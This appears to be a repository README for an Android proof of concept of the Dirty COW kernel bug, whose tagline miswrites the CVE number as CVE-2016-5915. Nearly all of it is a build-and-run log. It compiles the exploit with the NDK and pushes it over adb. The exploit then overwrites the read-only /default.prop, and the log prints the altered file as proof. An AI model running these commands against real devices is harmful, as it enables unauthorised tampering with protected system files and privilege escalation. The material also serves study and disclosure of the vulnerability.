/CVE-2016-5195

CVE-2016-5915 (dirtycow/dirtyc0w) proof of concept for Android

Primary LanguageC

CVE-2016-5195

CVE-2016-5915 (dirtycow/dirtyc0w) proof of concept for Android

$make run
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
make[1]: Entering directory `CVE-2016-5195'
[armeabi] Compile thumb  : dirtycow <= dirtyc0w.c
[armeabi] Executable     : dirtycow
[armeabi] Install        : dirtycow => libs/armeabi/dirtycow
make[1]: Leaving directory `CVE-2016-5195'
adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
[100%] /data/local/tmp/dirtycow
adb pull /default.prop default.prop
[100%] /default.prop
sed -i.bak s/ADDITIONAL_DEFAULT_PROPERTIES/ADDIRTYCOW_DEFAULT_PROPERTIES/g default.prop
adb push default.prop /data/local/tmp/default.prop
[100%] /data/local/tmp/default.prop
adb shell '/data/local/tmp/dirtycow /default.prop "`cat /data/local/tmp/default.prop`"'
mmap 0x400f1000

^CMakefile:11: recipe for target 'run' failed
make: *** [run] Interrupt


adb shell 'cat /default.prop'
#
# ADDIRTYCOW_DEFAULT_PROPERTIES
#
ro.secure=1
ro.allow.mock.location=0
persist.mtk.aee.aed=on
ro.debuggable=0
persist.sys.usb.config=mtp
persist.service.acm.enable=0
ro.mount.fs=EXT4